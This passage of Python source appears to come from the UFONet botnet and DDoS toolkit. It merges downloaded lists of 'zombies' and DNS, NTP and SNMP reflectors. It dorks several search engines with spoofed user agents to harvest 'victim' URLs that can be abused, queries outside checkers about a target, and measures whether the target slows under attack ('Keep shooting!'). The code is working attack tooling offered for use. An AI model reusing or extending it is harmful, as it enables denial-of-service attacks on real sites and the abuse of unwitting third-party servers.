  3912. for _ in f:
  3913. num_troops = num_troops + 1
  3914. print("[Info] Aliens : " + str(num_troops))
  3915. num_robots = 0
  3916. with open('botnet/robots.txt') as f: # droids
  3917. for _ in f:
  3918. num_robots = num_robots + 1
  3919. print("[Info] Droids : " + str(num_robots))
  3920. num_drones = 0
  3921. with open('botnet/drones.txt') as f: # ucavs
  3922. for _ in f:
  3923. num_drones = num_drones + 1
  3924. print("[Info] UCAVs : " + str(num_drones))
  3925. num_reflectors = 0
  3926. with open('botnet/reflectors.txt') as f: # rpcs
  3927. for _ in f:
  3928. num_reflectors = num_reflectors + 1
  3929. print("[Info] X-RPCs : " + str(num_reflectors))
  3930. num_crystals = 0
  3931. with open('botnet/crystals.txt') as f: # dns
  3932. for _ in f:
  3933. num_crystals = num_crystals + 1
  3934. print("[Info] DNSs : " + str(num_crystals))
  3935. num_warps = 0
  3936. with open('botnet/warps.txt') as f: # ntp
  3937. for _ in f:
  3938. num_warps = num_warps + 1
  3939. print("[Info] NTPs : " + str(num_warps))
  3940. num_bosons = 0
  3941. with open('botnet/bosons.txt') as f: # snmp
  3942. for _ in f:
  3943. num_bosons = num_bosons + 1
  3944. print("[Info] SNMPs : " + str(num_bosons))
  3945. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3946. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3947. print('-'*12)
  3948. if not self.options.forceyes:
  3949. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3950. print('-'*25)
  3951. else:
  3952. update_reply = "Y"
  3953. if update_reply == "n" or update_reply == "N":
  3954. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3955. os.remove('botnet/troops.txt') # remove aliens/troops file
  3956. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3957. os.remove('botnet/robots.txt') # remove droids/robots file
  3958. os.remove('botnet/drones.txt') # remove ucavs/drones file
  3959. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  3960. os.remove('botnet/warps.txt') # remove ntp/warps file
  3961. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  3962. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3963. print('-'*25)
  3964. print("\n[AI] "+self.exit_msg+"\n")
  3965. else:
  3966. zombies_ready = []
  3967. f = open('botnet/abductions.txt')
  3968. abductions = f.readlines()
  3969. f.close()
  3970. fz = open(self.zombies_file)
  3971. zombies = fz.readlines()
  3972. fz.close()
  3973. for abduction in abductions:
  3974. abduction = abduction.replace('\n','')
  3975. if abduction not in zombies:
  3976. zombies_ready.append(abduction)
  3977. else:
  3978. pass
  3979. self.update_zombies(zombies_ready)
  3980. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3981. aliens_ready = []
  3982. f = open('botnet/troops.txt')
  3983. troops = f.readlines()
  3984. f.close()
  3985. fz = open(self.aliens_file)
  3986. aliens = fz.readlines()
  3987. fz.close()
  3988. for alien in troops:
  3989. alien = alien.replace('\n','')
  3990. if alien not in aliens:
  3991. aliens_ready.append(alien)
  3992. else:
  3993. pass
  3994. self.update_aliens(aliens_ready)
  3995. os.remove('botnet/troops.txt') # remove aliens/troops file
  3996. dnss_ready = []
  3997. f = open('botnet/crystals.txt')
  3998. crystals = f.readlines()
  3999. f.close()
  4000. fz = open(self.dnss_file)
  4001. dnss = fz.readlines()
  4002. fz.close()
  4003. for crystal in crystals:
  4004. crystal = crystal.replace('\n','')
  4005. if crystal not in dnss:
  4006. dnss_ready.append(crystal)
  4007. else:
  4008. pass
  4009. self.update_dnss(dnss_ready)
  4010. os.remove('botnet/crystals.txt') # remove dns/crystals file
  4011. droids_ready = []
  4012. f = open('botnet/robots.txt')
  4013. robots = f.readlines()
  4014. f.close()
  4015. fz = open(self.droids_file)
  4016. droids = fz.readlines()
  4017. fz.close()
  4018. for droid in robots:
  4019. droid = droid.replace('\n','')
  4020. if droid not in droids:
  4021. droids_ready.append(droid)
  4022. else:
  4023. pass
  4024. self.update_droids(droids_ready)
  4025. os.remove('botnet/robots.txt') # remove droids/robots file
  4026. ucavs_ready = []
  4027. f = open('botnet/drones.txt')
  4028. drones = f.readlines()
  4029. f.close()
  4030. fz = open(self.ucavs_file)
  4031. ucavs = fz.readlines()
  4032. fz.close()
  4033. for drone in drones:
  4034. drone = drone.replace('\n','')
  4035. if drone not in ucavs:
  4036. ucavs_ready.append(drone)
  4037. else:
  4038. pass
  4039. self.update_ucavs(ucavs_ready)
  4040. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  4041. rpcs_ready = []
  4042. f = open('botnet/reflectors.txt')
  4043. reflectors = f.readlines()
  4044. f.close()
  4045. fz = open(self.rpcs_file)
  4046. rpcs = fz.readlines()
  4047. fz.close()
  4048. for reflector in reflectors:
  4049. reflector = reflector.replace('\n','')
  4050. if reflector not in rpcs:
  4051. rpcs_ready.append(reflector)
  4052. else:
  4053. pass
  4054. self.update_rpcs(rpcs_ready)
  4055. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  4056. ntps_ready = []
  4057. f = open('botnet/warps.txt')
  4058. warps = f.readlines()
  4059. f.close()
  4060. fz = open(self.ntps_file)
  4061. ntps = fz.readlines()
  4062. fz.close()
  4063. for warp in warps:
  4064. warp = warp.replace('\n','')
  4065. if warp not in ntps:
  4066. ntps_ready.append(warp)
  4067. else:
  4068. pass
  4069. self.update_ntps(ntps_ready)
  4070. os.remove('botnet/warps.txt') # remove NTP/warps file
  4071. snmps_ready = []
  4072. f = open('botnet/bosons.txt')
  4073. bosons = f.readlines()
  4074. f.close()
  4075. fz = open(self.snmps_file)
  4076. snmps = fz.readlines()
  4077. fz.close()
  4078. for boson in bosons:
  4079. boson = boson.replace('\n','')
  4080. if boson not in snmps:
  4081. snmps_ready.append(boson)
  4082. else:
  4083. pass
  4084. self.update_snmps(snmps_ready)
  4085. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  4086. print("\n[Info] [AI] Botnet updated! -> ;-)")
  4087. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  4088. if not self.options.forceyes: # ask for update everything
  4089. print('-'*25 + "\n")
  4090. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  4091. else:
  4092. update_reply = "Y"
  4093. if update_reply == "n" or update_reply == "N":
  4094. print("\n[AI] "+self.exit_msg+"\n")
  4095. return
  4096. else:
  4097. try:
  4098. update_gui = self.update_gui_data() # update GUI data
  4099. except:
  4100. print('-'*25 +"\n")
  4101. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  4102. print('-'*25)
  4103. print("\n[AI] "+self.exit_msg+"\n")
  4104. return
  4105. def uploading_github_list(self):
  4106. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  4107. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  4108. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  4109. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  4110. print('='*22 + '\n')
  4111. print("[AI] "+self.exit_msg+"\n")
  4112. def create_web_interface(self):
  4113. # launch webserver+gui
  4114. from .webgui import ClientThread
  4115. import webbrowser
  4116. host = '0.0.0.0'
  4117. port = 9999
  4118. try:
  4119. webbrowser.open('http://127.0.0.1:9999', new=1)
  4120. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4121. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  4122. tcpsock.bind((host,port))
  4123. while True:
  4124. tcpsock.listen(4)
  4125. (clientsock, (ip, port)) = tcpsock.accept()
  4126. newthread = ClientThread(ip, port, clientsock)
  4127. newthread.start()
  4128. except (KeyboardInterrupt, SystemExit):
  4129. sys.exit()
  4130. def extract_dorks(self):
  4131. # extract dorks from file (ex: 'dorks.txt')
  4132. try:
  4133. f = open(self.dorks_file)
  4134. dorks = f.readlines()
  4135. dorks = [ dork.replace('\n','') for dork in dorks ]
  4136. f.close()
  4137. if not dorks:
  4138. if not options.autosearch:
  4139. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4140. return
  4141. else:
  4142. return dorks
  4143. except:
  4144. if not options.autosearch:
  4145. if os.path.exists(self.dorks_file) == True:
  4146. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4147. return #sys.exit(2)
  4148. else:
  4149. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  4150. return #sys.exit(2)
  4151. else:
  4152. return
  4153. def _engine_query_string(self, dork):
  4154. options = self.options
  4155. if options.search:
  4156. return options.search, 'instreamset:(url):"' + str(options.search) + '"'
  4157. if options.dorks or options.autosearch:
  4158. return dork, 'instreamset:(url):"' + str(dork) + '"'
  4159. return dork, str(dork)
  4160. def _engine_fetch(self, url, headers, timeout=10):
  4161. options = self.options
  4162. if options.proxy:
  4163. self.proxy_transport(options.proxy)
  4164. req = urllib.request.Request(url, None, headers)
  4165. return urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8', errors='replace')
  4166. def _engine_failure_prompt(self, engine_name):
  4167. options = self.options
  4168. print('[Error] [AI] Unable to connect to: ' + engine_name + '\n')
  4169. if options.allengines or options.autosearch:
  4170. return False
  4171. if not self.options.forceyes:
  4172. r = input("[AI] Do you want to try a different search engine? (Y/n)")
  4173. else:
  4174. r = "Y"
  4175. if r == "n" or r == "N":
  4176. return False
  4177. print("\nSearch engines available:")
  4178. print('-'*25)
  4179. for e in self.search_engines:
  4180. print("+ "+e)
  4181. print('-'*25)
  4182. print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
  4183. return False
  4184. def _bing_decode(self, raw):
  4185. raw = raw.replace('&amp;', '&')
  4186. m = re.search(r'[?&]u=a1([^&]+)', raw)
  4187. if not m:
  4188. return raw
  4189. token = m.group(1)
  4190. try:
  4191. b64 = token + '=' * ((4 - len(token) % 4) % 4)
  4192. import base64 as _b
  4193. return _b.urlsafe_b64decode(b64).decode('utf-8', errors='replace')
  4194. except Exception:
  4195. return raw
  4196. def _yahoo_decode(self, raw):
  4197. if 'RU=' in raw:
  4198. piece = raw.rsplit('RU=', 1)[1]
  4199. piece = piece.split('/RK=', 1)[0]
  4200. return urllib.parse.unquote(piece)
  4201. return raw
  4202. def search_zombies(self, dork, zombies_found):
  4203. options = self.options
  4204. zombies = []
  4205. if not options.engine:
  4206. options.engine = 'duck'
  4207. engine = options.engine
  4208. sep, q = self._engine_query_string(dork)
  4209. if options.num_results:
  4210. try:
  4211. num_results = int(options.num_results)
  4212. except:
  4213. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  4214. num_results = 10
  4215. else:
  4216. num_results = 10
  4217. self.user_agent = random.choice(self.agents).strip()
  4218. headers = {'User-Agent': self.user_agent, 'Referer': self.referer, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5'}
  4219. url_links = []
  4220. if engine == 'bing':
  4221. url = 'https://www.bing.com/search?' + urllib.parse.urlencode({'q': q, 'first': 0})
  4222. if options.verbose:
  4223. print("[Info] [AI] [DORKING] Query used: " + url)
  4224. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4225. try:
  4226. req_reply = self._engine_fetch(url, headers)
  4227. except Exception:
  4228. self._engine_failure_prompt('bing'); return
  4229. raw = re.findall(r'<a\s+class="tilk"[^>]*href="([^"]+)"', req_reply)
  4230. if not raw:
  4231. raw = re.findall(r'<h2><a[^>]+href="([^"]+)"[^>]*>', req_reply)
  4232. url_links = [self._bing_decode(r) for r in raw]
  4233. elif engine == 'duck':
  4234. if options.verbose:
  4235. print("[Info] [AI] [DORKING] Query used: ddgs.DDGS().text(" + repr(q) + ")")
  4236. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4237. try:
  4238. DDGS = None
  4239. try:
  4240. import warnings
  4241. with warnings.catch_warnings():
  4242. warnings.simplefilter('ignore')
  4243. from ddgs import DDGS as _DDGS
  4244. DDGS = _DDGS
  4245. except ImportError:
  4246. pass
  4247. if DDGS is None:
  4248. try:
  4249. import warnings
  4250. with warnings.catch_warnings():
  4251. warnings.simplefilter('ignore')
  4252. from duckduckgo_search import DDGS as _DDGS
  4253. DDGS = _DDGS
  4254. except ImportError:
  4255. from core._ensure import ensure
  4256. if ensure('ddgs', 'ddgs') is None:
  4257. self._engine_failure_prompt('duck'); return
  4258. from ddgs import DDGS as _DDGS
  4259. DDGS = _DDGS
  4260. if options.proxy:
  4261. self.proxy_transport(options.proxy)
  4262. attempt = 0
  4263. req_reply = None
  4264. while attempt < 3:
  4265. try:
  4266. req_reply = list(DDGS().text(q, safesearch='off', max_results=num_results))
  4267. break
  4268. except Exception as e:
  4269. attempt += 1
  4270. if 'Ratelimit' in str(e) or '202' in str(e):
  4271. if options.verbose:
  4272. print('[Info] [AI] [DORKING] duck ratelimited, retry ' + str(attempt) + '/3 after backoff...')
  4273. time.sleep(2 * attempt)
  4274. continue
  4275. raise
  4276. if req_reply is None:
  4277. raise RuntimeError('duck: exhausted retries (ratelimit)')
  4278. except Exception:
  4279. self._engine_failure_prompt('duck'); return
  4280. for r in req_reply:
  4281. if isinstance(r, dict) and r.get('href'):
  4282. url_links.append(r['href'])
  4283. elif engine == 'brave':
  4284. url = 'https://search.brave.com/search?' + urllib.parse.urlencode({'q': q})
  4285. if options.verbose:
  4286. print("[Info] [AI] [DORKING] Query used: " + url)
  4287. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4288. try:
  4289. req_reply = self._engine_fetch(url, headers)
  4290. except Exception:
  4291. self._engine_failure_prompt('brave'); return
  4292. for pat in (r'<a\s+href="([^"]+)"[^>]*class="(?:h|result-header|snippet-title)"',
  4293. r'<a class="(?:h|result-header|snippet-title)"\s+href="([^"]+)"',
  4294. r'<a\s+href="(https?://[^"]+)"\s+rel="noopener'):
  4295. url_links = re.findall(pat, req_reply)
  4296. if url_links:
  4297. break
  4298. elif engine == 'mojeek':
  4299. url = 'https://www.mojeek.com/search?' + urllib.parse.urlencode({'q': q})
  4300. if options.verbose:
  4301. print("[Info] [AI] [DORKING] Query used: " + url)
  4302. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4303. try:
  4304. req_reply = self._engine_fetch(url, headers)
  4305. except Exception:
  4306. self._engine_failure_prompt('mojeek'); return
  4307. for pat in (r'<a class="ob"\s+href="([^"]+)"',
  4308. r'<a class="title"\s+href="([^"]+)"',
  4309. r'<a\s+href="(https?://[^"]+)"[^>]*class="title"'):
  4310. url_links = re.findall(pat, req_reply)
  4311. if url_links:
  4312. break
  4313. elif engine == 'yahoo':
  4314. url = 'https://search.yahoo.com/search?' + urllib.parse.urlencode({'p': q, 'b': 1})
  4315. if options.verbose:
  4316. print("[Info] [AI] [DORKING] Query used: " + url)
  4317. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4318. try:
  4319. req_reply = self._engine_fetch(url, headers)
  4320. except Exception:
  4321. self._engine_failure_prompt('yahoo'); return
  4322. for pat in (r'<a class="d-ib[^"]*"\s+href="([^"]+)"',
  4323. r'<h3 class="title"[^>]*>\s*<a\s+href="([^"]+)"',
  4324. r'<a\s+href="(https?://[^"]+RU=[^"]+)"'):
  4325. raw = re.findall(pat, req_reply)
  4326. if raw:
  4327. url_links = [self._yahoo_decode(r) for r in raw]
  4328. break
  4329. elif engine == 'startpage':
  4330. url = 'https://www.startpage.com/do/search?' + urllib.parse.urlencode({'query': q})
  4331. if options.verbose:
  4332. print("[Info] [AI] [DORKING] Query used: " + url)
  4333. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4334. try:
  4335. req_reply = self._engine_fetch(url, headers)
  4336. except Exception:
  4337. self._engine_failure_prompt('startpage'); return
  4338. for pat in (r'<a class="w-gl__result-title result-link"\s+href="([^"]+)"',
  4339. r'<a class="result-link"\s+href="([^"]+)"',
  4340. r'<a\s+href="([^"]+)"\s+class="result-link"'):
  4341. url_links = re.findall(pat, req_reply)
  4342. if url_links:
  4343. break
  4344. elif engine == 'ecosia':
  4345. url = 'https://www.ecosia.org/search?' + urllib.parse.urlencode({'q': q})
  4346. if options.verbose:
  4347. print("[Info] [AI] [DORKING] Query used: " + url)
  4348. print("[Info] [AI] [DORKING] Max results: " + str(num_results) + "\n")
  4349. try:
  4350. req_reply = self._engine_fetch(url, headers)
  4351. except Exception:
  4352. self._engine_failure_prompt('ecosia'); return
  4353. for pat in (r'<a class="result-title"\s+href="([^"]+)"',
  4354. r'<a\s+href="([^"]+)"[^>]*class="result__title"',
  4355. r'<a\s+data-test-id="result-link"\s+href="([^"]+)"'):
  4356. url_links = re.findall(pat, req_reply)
  4357. if url_links:
  4358. break
  4359. else:
  4360. print('[Error] [AI] This search engine is not supported!\n')
  4361. self._engine_failure_prompt(engine); return
  4362. num = num_results
  4363. total_results = 1
  4364. for url in url_links:
  4365. if int(num) < int(total_results):
  4366. break
  4367. total_results = total_results + 1
  4368. url_link = urllib.parse.unquote(url)
  4369. url_link = url_link.rsplit(sep, 1)[0] + sep
  4370. if 'href="' in url_link:
  4371. url_link = url_link.rsplit('href="', 1)[1]
  4372. if "instreamset" in url_link:
  4373. url_link = ""
  4374. if '" ' in url_link:
  4375. url_link = url_link.rsplit('" ', 1)[1]
  4376. if engine in url_link:
  4377. url_link = ""
  4378. if 'http' not in url_link:
  4379. url_link = ""
  4380. else:
  4381. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "":
  4382. print('+Victim found: ' + url_link)
  4383. zombies.append(url_link)
  4384. if len(zombies) == 0: # print dorking results
  4385. print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
  4386. if not options.dorks:
  4387. if not options.autosearch:
  4388. if not self.options.forceyes:
  4389. return #sys.exit(2)
  4390. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  4391. print("")
  4392. return zombies
  4393. def check_nat(self):
  4394. # check for NAT configuration
  4395. options = self.options
  4396. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  4397. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  4398. check_ip_service = None
  4399. if not tor_reply or 'Congratulations' not in tor_reply:
  4400. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  4401. else:
  4402. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  4403. self.nat_error_flag = "ON"
  4404. return #sys.exit(2)
  4405. self.pub_ip = self._public_ip_via_dns()
  4406. if self.pub_ip:
  4407. check_ip_service = 'OpenDNS (208.67.222.222)'
  4408. else:
  4409. self.pub_ip = self._public_ip_via_http()
  4410. check_ip_service = self.check_ip_service1
  4411. if not self.pub_ip:
  4412. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  4413. self.nat_error_flag = "ON"
  4414. return
  4415. print(" + Public: " + self.pub_ip + " | "+check_ip_service+"\n")
  4416. from core._dns_pool import random_dummy_host
  4417. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  4418. s.connect((random_dummy_host(), 0)) # UDP connect doesn't send packets (black magic)
  4419. self.local_ip = s.getsockname()[0]
  4420. print(" + Local: " + self.local_ip + "\n")
  4421. print('='*22 + '\n')
  4422. def extract_ucavs(self):
  4423. # extract ucavs from file
  4424. options = self.options
  4425. try:
  4426. f = open(self.ucavs_file)
  4427. ucavs = f.readlines()
  4428. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  4429. f.close()
  4430. if not ucavs:
  4431. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4432. self.options.disableucavs = True
  4433. return
  4434. else:
  4435. return ucavs
  4436. except:
  4437. if os.path.exists(self.ucavs_file) == True:
  4438. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4439. return #sys.exit(2)
  4440. else:
  4441. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  4442. return #sys.exit(2)
  4443. def discarding_ucavs(self, ucav, ucavs):
  4444. if ucav in self.discard_ucavs:
  4445. ucavs.remove(ucav)
  4446. if self.options.verbose:
  4447. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  4448. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4449. return ucavs
  4450. def send_ucavs(self, ucavs):
  4451. # extract external status checkers, perform a request and check results
  4452. time.sleep(5) # aiming (multi-threading flow time compensation)
  4453. if not self.options.disablepurge:
  4454. if not ucavs: # return when not any working
  4455. self.options.disableucavs = True
  4456. return
  4457. options = self.options
  4458. target = self.options.target
  4459. shuffle(ucavs) # shuffle ucavs order, each round :-)
  4460. if not self.options.disablepurge:
  4461. for ucav in ucavs:
  4462. if not ucav.startswith('http'): # discarded inmediately
  4463. self.discard_ucavs.append(ucav)
  4464. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4465. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  4466. if not self.options.disablepurge:
  4467. if not ucavs: # return when not any working
  4468. self.options.disableucavs = True
  4469. return
  4470. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  4471. for ucav in ucavs:
  4472. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4473. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4474. if target.startswith("http://"): # parse target for some checkers
  4475. target = target.replace('http://','')
  4476. elif target.startswith("https://"):
  4477. target = target.replace('https://','')
  4478. url = ucav + target
  4479. t = urlparse(ucav)
  4480. name_ucav = t.netloc
  4481. if name_ucav == "":
  4482. name_ucav = ucav
  4483. if options.verbose:
  4484. print(("[Info] [UCAVs] Sniping: " + url))
  4485. try:
  4486. if options.proxy: # set proxy
  4487. self.proxy_transport(options.proxy)
  4488. if options.timeout: # set timeout
  4489. ucav_timeout = options.timeout
  4490. else:
  4491. ucav_timeout = 5
  4492. if ucav_timeout < 1:
  4493. ucav_timeout = 5
  4494. req = urllib.request.Request(url, None, headers)
  4495. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  4496. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  4497. except:
  4498. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  4499. if not self.options.disablepurge:
  4500. self.discard_ucavs.append(ucav)
  4501. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4502. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4503. target_reply = ""
  4504. if target_reply == "": # check for target's status resolved by [UCAVs]
  4505. pass
  4506. else:
  4507. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  4508. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  4509. self.num_is_up = self.num_is_up + 1
  4510. else:
  4511. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  4512. self.num_is_down = self.num_is_down + 1
  4513. if self.options.verbose:
  4514. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  4515. self.extra_zombies_lock = False # [ARMY] have finished
  4516. def extract_median(self, num_list):
  4517. # extract median from a list of numbers
  4518. import statistics
  4519. int_num = []
  4520. for num in num_list:
  4521. num = float(num)
  4522. int_num.append(num)
  4523. return statistics.median(int_num)
  4524. def check_is_loading(self, target):
  4525. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  4526. self.start = None
  4527. self.stop = None
  4528. print('\n---------')
  4529. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  4530. if target.endswith(""):
  4531. target.replace("", "/")
  4532. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4533. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4534. try:
  4535. req = urllib.request.Request(target, None, headers)
  4536. if self.options.proxy: # set proxy
  4537. self.proxy_transport(self.options.proxy)
  4538. if self.options.timeout: # set timeout
  4539. try:
  4540. timeout = int(self.options.timeout)
  4541. except:
  4542. timeout = 5
  4543. else:
  4544. timeout = 5
  4545. if timeout < 1:
  4546. timeout = 5
  4547. self.start = time.time()
  4548. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  4549. header = urllib.request.urlopen(req, context=self.ctx).info()
  4550. self.stop = time.time()
  4551. except:
  4552. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  4553. return
  4554. try:
  4555. s, size_name = self.convert_size(len(target_reply))
  4556. self.loadcheck_size_list.append(s) # add record to size list
  4557. size = '%s %s' % (s,size_name)
  4558. except:
  4559. size = "Error!"
  4560. try:
  4561. time_required = self.stop - self.start
  4562. load = self.convert_time(time_required)
  4563. self.loadcheck_load_list.append(load) # add record to load list
  4564. except:
  4565. load = "Error!"
  4566. self.loadcheck_counter = self.loadcheck_counter + 1
  4567. print(' -Total tests:', self.loadcheck_counter, "\n")
  4568. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  4569. lsm = self.extract_median(self.loadcheck_size_list)
  4570. if lsm is not None:
  4571. self.loadcheck_size_median = str(lsm) + " " + size_name
  4572. else:
  4573. self.loadcheck_size_median = None
  4574. llm = self.extract_median(self.loadcheck_load_list)
  4575. if llm is not None:
  4576. self.loadcheck_load_median = str(llm) + " seconds"
  4577. else:
  4578. self.loadcheck_load_median = None
  4579. if self.loadcheck_counter == 2: # first round
  4580. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4581. print(' -Bytes in (this round) :', size)
  4582. if self.loadcheck_size_median is not None:
  4583. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4584. print(' ----')
  4585. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4586. print(' -Load time (this round) :', load, "seconds")
  4587. if self.loadcheck_load_median is not None:
  4588. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4589. else:
  4590. print("\n")
  4591. self.loadcheck_size_max = None
  4592. self.loadcheck_size_min = None
  4593. self.loadcheck_load_max = None
  4594. self.loadcheck_load_min = None
  4595. elif self.loadcheck_counter > 2: # rest of rounds
  4596. lsmax = max(self.loadcheck_size_list)
  4597. if lsmax is not None:
  4598. self.loadcheck_size_max = str(lsmax) + " " + size_name
  4599. else:
  4600. self.loadcheck_size_max = None
  4601. lsmin = min(self.loadcheck_size_list)
  4602. if lsmin is not None:
  4603. self.loadcheck_size_min = str(lsmin) + " " + size_name
  4604. else:
  4605. self.loadcheck_size_min = None
  4606. llmax = max(self.loadcheck_load_list)
  4607. if llmax is not None:
  4608. self.loadcheck_load_max = str(llmax) + " seconds"
  4609. else:
  4610. self.loadcheck_load_max = None
  4611. llmin = min(self.loadcheck_load_list)
  4612. if llmin is not None:
  4613. self.loadcheck_load_min = str(llmin) + " seconds"
  4614. else:
  4615. self.loadcheck_load_min = None
  4616. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4617. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  4618. print(' -Bytes in (this round) :', size)
  4619. if self.loadcheck_size_max is not None:
  4620. print(' -Bytes in (max) :', self.loadcheck_size_max)
  4621. if self.loadcheck_size_min is not None:
  4622. print(' -Bytes in (min) :', self.loadcheck_size_min)
  4623. if self.loadcheck_size_median is not None:
  4624. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4625. print(' ----')
  4626. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4627. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  4628. print(' -Load time (this round) :', load, "seconds")
  4629. if self.loadcheck_load_max is not None:
  4630. print(' -Load time (max) :', self.loadcheck_load_max)
  4631. if self.loadcheck_load_min is not None:
  4632. print(' -Load time (min) :', self.loadcheck_load_min)
  4633. if self.loadcheck_load_median is not None:
  4634. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4635. else:
  4636. print("\n")
  4637. if self.loadcheck_prev_load < load: # target is loading more slowly
  4638. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  4639. elif self.loadcheck_prev_load == load: # inmutable target
  4640. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  4641. elif self.loadcheck_prev_load > load: # is target defending?
  4642. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  4643. else:
  4644. print(' -Bytes in (this round) :', size)
  4645. print(' -Load time (this round):', load, "seconds\n")
  4646. self.loadcheck_first_size = size
  4647. self.loadcheck_first_load = load
  4648. self.loadcheck_size_median = None
  4649. self.loadcheck_load_median = None
  4650. self.loadcheck_size_max = None
  4651. self.loadcheck_size_min = None
  4652. self.loadcheck_load_max = None
  4653. self.loadcheck_load_min = None
  4654. self.loadcheck_prev_size = size # record previous size
  4655. self.loadcheck_prev_load = load # record previous load
  4656. def convert_size(self, size):
  4657. if (size == 0):
  4658. return '0 B'
  4659. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  4660. i = int(math.floor(math.log(size,1024)))
  4661. p = math.pow(1024,i)
  4662. s = round(size/p,2)
  4663. return s, size_name[i]
  4664. def convert_time(self, time):
  4665. return '%.2f' % time
